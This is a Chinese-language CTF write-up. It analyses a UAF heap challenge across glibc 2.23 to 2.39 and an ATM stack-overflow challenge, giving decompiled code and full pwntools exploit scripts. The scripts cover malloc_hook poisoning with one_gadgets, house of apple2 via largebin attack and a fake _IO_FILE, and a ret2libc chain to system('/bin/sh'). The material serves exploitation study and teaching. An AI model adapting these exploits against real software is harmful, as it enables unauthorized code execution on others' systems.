0x00 前言 虽然说是新生赛,但是五道堆题估计真新生都被吓傻了。实际上题目限制非常宽松,也正好可以拿来总结各个常见版本glibc的基本特点。因为题目除了2.39之外都一样所以就先分析题目,再来看不同版本下的做法。
0x01 题目分析 create函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 create ()  {   __int64 result;    int  v1;    unsigned  int  v2;    unsigned  int  v3;    unsigned  __int64 v4;    v4 = __readfsqword(0x28 u);   v2 = 0 ;   v3 = 0 ;   printf ("idx? " );   __isoc99_scanf("%d" , &v2);   if  ( v2 > 0xF  || ptr[v2] )   {     puts ("error !" );     return  0LL ;   }   else    {     printf ("size? " );     __isoc99_scanf("%d" , &v3);     v1 = v2;     ptr[v1] = malloc ((int )v3);     if  ( !ptr[v2] )     {       puts ("malloc error!" );       exit (1 );     }     result = v3;     ptr_size[v2] = v3;   }   return  result; } 
题目限制了最多只能申请16个chunk,但是对size没有限制。
delete函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 void  delete () {   unsigned  int  v0;    unsigned  __int64 v1;    v1 = __readfsqword(0x28 u);   v0 = 0 ;   printf ("idx? " );   __isoc99_scanf("%d" , &v0);   if  ( v0 <= 0xF  && ptr[v0] )     free ((void  *)ptr[v0]);   else      puts ("no such chunk!" ); } 
妥妥的UAF。但是指针没被清空也意味着最多只能16个chunk了。
show函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 int  show () {   unsigned  int  v1;    unsigned  __int64 v2;    v2 = __readfsqword(0x28 u);   v1 = 0 ;   printf ("idx? " );   __isoc99_scanf("%d" , &v1);   if  ( v1 <= 0xF  && ptr[v1] )     return  printf ("content : %s\n" , (const  char  *)ptr[v1]);   puts ("no such chunk!" );   return  0 ; } 
用printf来打印chunk内容,有一点需要注意就是\x00会被截断。
edit函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ssize_t  edit () {   unsigned  int  v1;    unsigned  __int64 v2;    v2 = __readfsqword(0x28 u);   v1 = 0 ;   printf ("idx? " );   __isoc99_scanf("%d" , &v1);   if  ( v1 <= 0xF  && ptr[v1] )   {     puts ("content : " );     return  read(0 , (void  *)ptr[v1], (unsigned  int )ptr_size[v1]);   }   else    {     puts ("no such chunk!" );     return  0LL ;   } } 
没有堆溢出,但是已经有UAF了所以无所谓。
Exit函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void  __noreturn Exit () {   int  i;    for  ( i = 0 ; i <= 15 ; ++i )   {     if  ( !ptr[i] )     {       free ((void  *)ptr[i]);       ptr[i] = 0LL ;       ptr_size[i] = 0 ;     }   }   exit (0 ); } 
有exit(0),可以打exithook或者exit的got表。
总的来看最大且最危险的漏洞就是UAF,可以说有了这个洞这些题在堆风水的布局上可以为所欲为了。
0x02 2.23 版本特性 2.23版本没有tcachebin,fastbin中double free只需要在两次free当中free掉另一个chunk就好了。fastbin最大是0x80,要泄露libc只需要申请unsorted chunk即可。fastbin会在用户取出chunk的时候检查size字段是否合法。fastbin链表中的地址是chunk头地址,不是mem(用户内容)地址。
思路 泄露libc只要申请0x90的chunk释放掉再show就好了。
这个程序只开了partial relro,理论上可以打got表。这里我选择打malloc_hook。这题甚至不需要double free,只要delete一个chunk之后改掉其fd为malloc_hook-0x23,再申请两次同样大小的chunk就能打到malloc_hook-0x23。之所以要-0x23是为了绕过size字段的检查,那个地方有个0x007f,所以我们在申请chunk的时候要申请总大小为0x70的chunk以满足检查条件。
申请到hook处用edit改hook为onegadget,然后再申请一个chunk就能getshell了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from  pwn import  *context(arch='amd64' , os='linux' , log_level='debug' ) r = process('./heap' ) e = ELF('./heap' ) libc = ELF('./libc-2.23.so' )   one = [0x4525a , 0xef9f4 , 0xf0897 ] def  cmd (choice ):    r.recvuntil(b'>>' )     r.sendline(str (choice).encode()) def  add (idx, size ):    cmd(1 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'size? ' )     r.sendline(str (size).encode()) def  delete (idx ):    cmd(2 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode()) def  show (idx ):    cmd(3 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'content : ' ) def  edit (idx, content=b'deafbeef'  ):    cmd(4 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'content : ' )     r.send(content) def  exit ():    cmd(5 ) add(0 , 0x90 ) add(1 , 0x18 ) delete(0 ) show(0 ) libc_base = u64(r.recv(6 ).ljust(8 , b'\x00' ))-0x3c3b78  log.info('libc_base:' +hex (libc_base)) add(2 , 0x90 ) add(3 , 0x60 ) add(4 , 0x60 ) add(5 , 0x20 ) delete(3 ) delete(4 ) edit(4 , p64(libc_base+libc.symbols['__malloc_hook' ]-0x23 ))   add(6 , 0x60 ) add(7 , 0x60 ) edit(7 , b'a' *0x13 +p64(libc_base+one[1 ])) add(8 , 0x20 ) r.interactive() 
0x03 2.27 版本特性 2.27版本有tcachebin,但是在2.27的低子版本并没有对tcachebin中chunk double free检查的机制,但是高子版本打了补丁之后就有了。所以很难说远程2.27到底能不能随心所欲的double free,一般都没有。tcachebin不会检查size字段。tcache不会检查bin内可用的chunk数量。
思路 因为tcachebin覆盖大小到0x410的chunk,所以泄露libc要申请大于0x410的chunk释放掉再show。
这个程序全保护,这里我依然选择打malloc_hook。这题还是不需要double free,只要delete一个chunk之后改掉其fd为malloc_hook,再申请两次同样大小的chunk就能打到malloc_hook。
申请到hook处用edit改hook为onegadget,然后再申请一个chunk就能getshell了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from  pwn import  *context(arch='amd64' , os='linux' , log_level='debug' ) r = process('./heap' ) e = ELF('./heap' ) libc = ELF('./libc-2.27.so' )   one = [0x4f2be , 0x4f2c5 , 0x4f322 , 0x10a38c ] def  dbg ():    gdb.attach(r) def  cmd (choice ):    r.recvuntil(b'>>' )     r.sendline(str (choice).encode()) def  add (idx, size ):    cmd(1 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'size? ' )     r.sendline(str (size).encode()) def  delete (idx ):    cmd(2 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode()) def  show (idx ):    cmd(3 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'content : ' ) def  edit (idx, content=b'deafbeef'  ):    cmd(4 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'content : ' )     r.send(content) def  exit ():    cmd(5 ) add(0 , 0x500 ) add(1 , 0x18 ) delete(0 ) show(0 ) libc_base = u64(r.recv(6 ).ljust(8 , b'\x00' ))-0x3ebca0  log.info('libc_base:' +hex (libc_base)) add(2 , 0x500 ) add(3 , 0x70 ) add(4 , 0x70 ) delete(3 ) delete(4 ) edit(4 , p64(libc_base+libc.symbols['__malloc_hook' ])) add(5 , 0x70 ) add(6 , 0x70 ) edit(6 , p64(libc_base+one[3 ])) add(7 , 0x30 ) r.interactive() 
0x04 2.31 版本特性 2.31版本的tcachebin有一系列检查,tcache会检查bin内可用的chunk数量,会检查bin内double free。但是还不会加密fd,加密fd机制是从2.32版本开始的。tcachebin不会检查size字段。这时候tcachebin想要doublefree可以使用house of botcake或者利用fastbin来doublefree。
思路 因为tcachebin覆盖大小到0x410的chunk,所以泄露libc要申请大于0x410的chunk释放掉再show。
这个程序全保护,这里我依然选择打malloc_hook。这题还是不需要double free,只要delete一个chunk之后改掉其fd为malloc_hook,再申请两次同样大小的chunk就能打到malloc_hook。
申请到hook处用edit改hook为onegadget,然后再申请一个chunk就能getshell了。
其实这题还可以选择劫持exit_hook,改lock指针。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from  pwn import  *context(arch='amd64' , os='linux' , log_level='debug' ) r = process('./heap' ) e = ELF('./heap' ) libc = ELF('./libc-2.31.so' )   one = [0xe6aee , 0xe6af1 , 0xe6af4 ] def  dbg ():    gdb.attach(r) def  cmd (choice ):    r.recvuntil(b'>>' )     r.sendline(str (choice).encode()) def  add (idx, size ):    cmd(1 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'size? ' )     r.sendline(str (size).encode()) def  delete (idx ):    cmd(2 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode()) def  show (idx ):    cmd(3 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'content : ' ) def  edit (idx, content=b'deafbeef'  ):    cmd(4 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'content : ' )     r.send(content) def  exit ():    cmd(5 ) add(0 , 0x500 ) add(1 , 0x18 ) delete(0 ) show(0 ) dbg() libc_base = u64(r.recv(6 ).ljust(8 , b'\x00' ))-0x1ebbe0  log.info('libc_base:' +hex (libc_base)) add(2 , 0x500 ) add(3 , 0x70 ) add(4 , 0x70 ) delete(3 ) delete(4 ) edit(4 , p64(libc_base+libc.symbols['__malloc_hook' ])) add(5 , 0x70 ) add(6 , 0x70 ) edit(6 , p64(libc_base+one[1 ])) add(7 , 0x30 ) r.interactive() 
0x05 2.35 版本特性 2.35版本的tcachebin有一系列检查,tcache会检查bin内可用的chunk数量,会检查bin内double free,对chunk地址有对齐检查,fd会被加密,并且利加密的key存在tls结构体里。2.34版本及之前key是指向TcacheBin的指针。tcachebin不会检查size字段。
从2.34开始glibc取消掉了hook机制,所以没法打malloc和free hook了,但是exit hook中还有一条路可以走,也就是house of banana,或者劫持__call_tls_dtors函数。
思路 这个程序全保护,因为fd被加密了,虽然这题UAF可以打到tls泄露key来劫持fd,但是比较麻烦,所以我选择house of apple2。这几乎是全版本通解,只要能largebin attack,能触发IO。因为是第一次使用house of apple2来打堆题,所以完整的做题步骤及调试过程另起文章记录。这题直接板子做题法。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from  pwn import  *context(arch='amd64' , os='linux' , log_level='debug' ) r = process('./heap' ) e = ELF('./heap' ) libc = ELF('./libc-2.35.so' )   one = [0xe6aee , 0xe6af1 , 0xe6af4 ] def  dbg ():    gdb.attach(r) def  cmd (choice ):    r.recvuntil(b'>>' )     r.sendline(str (choice).encode()) def  add (idx, size ):    cmd(1 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'size? ' )     r.sendline(str (size).encode()) def  delete (idx ):    cmd(2 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode()) def  show (idx ):    cmd(3 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'content : ' ) def  edit (idx, content=b'deafbeef'  ):    cmd(4 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'content : ' )     r.send(content) def  exit ():    cmd(5 ) add(8 , 0x18 ) add(0 , 0x510 ) add(1 , 0x30 )   add(2 , 0x520 ) add(3 , 0x30 ) delete(2 ) add(4 , 0x530 ) show(2 ) large = u64(r.recv(6 ).ljust(8 , b'\0' ))   libcbase = large - 0x670  - libc.sym['_IO_2_1_stdin_' ] _IO_list_all = libcbase + libc.sym['_IO_list_all' ] io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps' ] system = libcbase + libc.sym['system' ] success('libcbase: '  + hex (libcbase)) edit(2 , b'A'  * 0x10 ) show(2 ) r.recv(0x10 ) heap = u64(r.recv(6 ).ljust(8 , b'\0' )) success('heap: '  + hex (heap)) delete(0 ) edit(2 , p64(large) + p64(large) + p64(heap) + p64(_IO_list_all - 0x20 )) add(5 , 0x550 ) chunk_addr = heap - 0x560    edit(8 , b'A'  * 0x10  + p32(0xfffff7f5 ) + b';sh\x00' ) fake_io_file = p64(0 )*2  + p64(1 ) + p64(2 ) fake_io_file = fake_io_file.ljust(     0xa0  - 0x10 , b'\0' ) + p64(chunk_addr + 0x100 )   fake_io_file = fake_io_file.ljust(     0xc0  - 0x10 , b'\0' ) + p64(0xffffffffffffffff )   fake_io_file = fake_io_file.ljust(     0xd8  - 0x10 , b'\0' ) + p64(io_wfile_jumps)   fake_io_file = fake_io_file.ljust(     0x100  - 0x10  + 0xe0 , b'\0' ) + p64(chunk_addr + 0x200 ) fake_io_file = fake_io_file.ljust(     0x200  - 0x10 , b'\0' ) + p64(0 )*13  + p64(system) edit(0 , fake_io_file) exit() r.interactive() 
0x06 2.39 题目区别 2.39的题目唯一的区别就是申请chunk的时候只能申请largechunk,题目描述说使用全新的IO打法,不出意外就是apple系列了。
思路 思路与上一题相同,使用house of apple2。区别就是保护chunk最小只能申请0x500,其他依然板子做题。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from  pwn import  *context(arch='amd64' , os='linux' , log_level='debug' ) r = process('./heap' ) e = ELF('./heap' ) libc = ELF('./libc.so.6' ) def  dbg ():    gdb.attach(r) def  cmd (choice ):    r.recvuntil(b'>>' )     r.sendline(str (choice).encode()) def  add (idx, size ):    cmd(1 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'size? ' )     r.sendline(str (size).encode()) def  delete (idx ):    cmd(2 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode()) def  show (idx ):    cmd(3 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'content : ' ) def  edit (idx, content=b'deafbeef'  ):    cmd(4 )     r.recvuntil(b'idx? ' )     r.sendline(str (idx).encode())     r.recvuntil(b'content : ' )     r.send(content) def  exit ():    cmd(5 ) add(8 , 0x508 ) add(0 , 0x510 )   add(1 , 0x500 )   add(2 , 0x520 )   add(3 , 0x500 )   delete(2 ) add(4 , 0x530 )   show(2 ) large = u64(r.recv(6 ).ljust(8 , b'\0' ))   libcbase = large - 0x670  - libc.sym['_IO_2_1_stdin_' ] _IO_list_all = libcbase + libc.sym['_IO_list_all' ] io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps' ] system = libcbase + libc.sym['system' ] success('libcbase: '  + hex (libcbase)) edit(2 , b'A'  * 0x10 ) show(2 ) r.recv(0x10 ) heap = u64(r.recv(6 ).ljust(8 , b'\0' )) success('heap: '  + hex (heap)) delete(0 ) edit(2 , p64(large) + p64(large) + p64(heap) +      p64(_IO_list_all - 0x20 ))   add(5 , 0x550 )   chunk_addr = heap - 0xa30    edit(8 , b'A'  * 0x500  + p32(0xfffff7f5 ) + b';sh\x00' ) fake_io_file = p64(0 )*2  + p64(1 ) + p64(2 ) fake_io_file = fake_io_file.ljust(     0xa0  - 0x10 , b'\0' ) + p64(chunk_addr + 0x100 )   fake_io_file = fake_io_file.ljust(     0xc0  - 0x10 , b'\0' ) + p64(0xffffffffffffffff )   fake_io_file = fake_io_file.ljust(     0xd8  - 0x10 , b'\0' ) + p64(io_wfile_jumps)   fake_io_file = fake_io_file.ljust(     0x100  - 0x10  + 0xe0 , b'\0' ) + p64(chunk_addr + 0x200 ) fake_io_file = fake_io_file.ljust(     0x200  - 0x10 , b'\0' ) + p64(0 )*13  + p64(system) edit(0 , fake_io_file) exit()   r.interactive() 
0x07 ATM 题目 这是一道栈题,简单的栈溢出。选项3可以直接加钱,选项5会给你一个printf的真实地址,并根据你现在的钱数作为读取字节数。需要注意的是这里存在一个数据类型转换的问题,nbytes原本是size_t类型的,但是read的时候是unsigned int,所以加钱的时候不一定是越大越好,可能直接给你回绕了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 __int64 app_fun ()  {   __int64 result;    char  v1[312 ];    char  nptr[8 ];    char  buf[16 ];    int  v4;    unsigned  int  v5;    unsigned  int  v6;    size_t  nbytes;    puts ("password:" );   read(0 , buf, 0x10 uLL);   LODWORD(nbytes) = 200 ;   while  ( 1  )   {     block();     read(0 , nptr, 8uLL );     v6 = atoi(nptr);     result = v6;     switch  ( v6 )     {       case  1u :         printf ("Your balance is:%d$\n" , (unsigned  int )nbytes);         continue ;       case  2u :         printf ("Please enter the money you withdraw:" );         memset (nptr, 0 , sizeof (nptr));         read(0 , nptr, 7uLL );         v4 = atoi(nptr);         if  ( v4 <= 0  || v4 > (int )nbytes )           goto  LABEL_10;         LODWORD(nbytes) = nbytes - v4;         break ;       case  3u :         printf ("Please enter your deposit:" );         memset (nptr, 0 , sizeof (nptr));         read(0 , nptr, 7uLL );         v5 = (unsigned  int )nptr;         if  ( (unsigned  int )nptr )           LODWORD(nbytes) = nbytes + v5;         else  LABEL_10:           puts ("Invalid amount." );         break ;       case  4u :         return  result;       case  5u :         printf ("gift:%p\n" , &printf );         read(0 , v1, (unsigned  int )nbytes);         break ;       default :         continue ;     }   } } 
block函数是menu
加钱1000之后直接ret2libc即可,程序给了libc地址,甚至免去了泄露libc的步骤。附件没给libc,可以用LibcSearcher,但是我直接打本地所以用了本机2.35的libc。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from  pwn import  *context.log_level = 'debug'  r = process('./app' ) e = ELF('./app' ) libc = ELF('./libc.so.6' ) r.sendline(b'a' ) r.recvuntil(b'Exit' ) r.sendline(b'3' ) r.recvuntil(b'deposit:' ) r.sendline(b'1000' ) r.recvuntil(b'Exit' ) r.sendline(b'5' ) r.recvuntil(b'gift:' ) printf_addr = int (r.recv(14 ), 16 ) success(hex (printf_addr)) libc_base = printf_addr - libc.symbols['printf' ] success(hex (libc_base)) system_addr = libc_base + libc.symbols['system' ] binsh_addr = libc_base + next (libc.search(b'/bin/sh' )) rdi = 0x401233  ret = 0x401234  payload = b'a' *0x168 +p64(rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr) r.sendline(payload) r.recvuntil(b'Exit' ) r.sendline(b'4' ) r.interactive()